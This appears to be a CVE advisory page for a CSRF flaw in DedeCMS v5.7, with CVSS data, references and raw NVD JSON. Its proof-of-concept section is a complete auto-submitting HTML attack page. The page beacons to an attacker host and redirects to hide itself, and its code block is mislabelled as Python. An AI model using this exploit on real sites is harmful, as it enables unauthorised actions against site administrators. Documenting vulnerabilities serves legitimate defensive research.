CVE-2024-30855

Description

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /src/dede/makehtml_list_action.php.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dedecms:dedecms:5.7:-:*:*:*:*:*:* - VULNERABLE

DedeCMS v5.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2024-30855 DedeCMS v5.7 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit - CVE-2024-30855</title>
</head>
<body>
    <h1>CSRF Attack Page</h1>
    <p>If you see this message, the CSRF attack has been executed.</p>
    
    <!-- Auto-submit form targeting makehtml_list_action.php -->
    <form id="csrfForm" action="http://target.com/src/dede/makehtml_list_action.php" method="POST" style="display:none;">
        <!-- Set channelid to target specific category -->
        <input type="hidden" name="channelid" value="1">
        <!-- Set dopost to specify the action -->
        <input type="hidden" name="dopost" value="makehtml">
        <!-- Set typeid to target category -->
        <input type="hidden" name="typeid" value="1">
        <!-- Set startday for scheduling -->
        <input type="hidden" name="startday" value="">
        <!-- Set endday for scheduling -->
        <input type="hidden" name="endday" value="">
        <!-- Set pagesize for list generation -->
        <input type="hidden" name="pagesize" value="20">
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
        
        // Send notification to attacker after submission
        fetch('http://attacker.com/log?cve=CVE-2024-30855&status=executed', {
            method: 'GET',
            mode: 'no-cors'
        });
    </script>
    
    <p>Redirecting...</p>
    <script>
        // Delay and redirect to avoid suspicion
        setTimeout(function() {
            window.location.href = 'http://target.com/dede/';
        }, 2000);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-30855
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-30855
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-30855/
[4] VulDB https://vuldb.com/cve/CVE-2024-30855
[5] https://gist.github.com/Limingqian123/e90a1b86c02bd83d4ab07c08cad9a629
[6] https://github.com/Limingqian123/cms/blob/main/1.md
[7] https://github.com/Limingqian123/cms/blob/main/1.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-30855", "sourceIdentifier": "[email protected]", "published": "2025-12-29T20:15:41.277", "lastModified": "2026-01-02T13:43:49.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /src/dede/makehtml_list_action.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dedecms:dedecms:5.7:-:*:*:*:*:*:*", "matchCriteriaId": "787DA248-344B-42CB-95C4-D664BCE46208"}]}]}], "references": [{"url": "https://gist.github.com/Limingqian123/e90a1b86c02bd83d4ab07c08cad9a629", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Limingqian123/cms/blob/main/1.md", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/Limingqian123/cms/blob/main/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}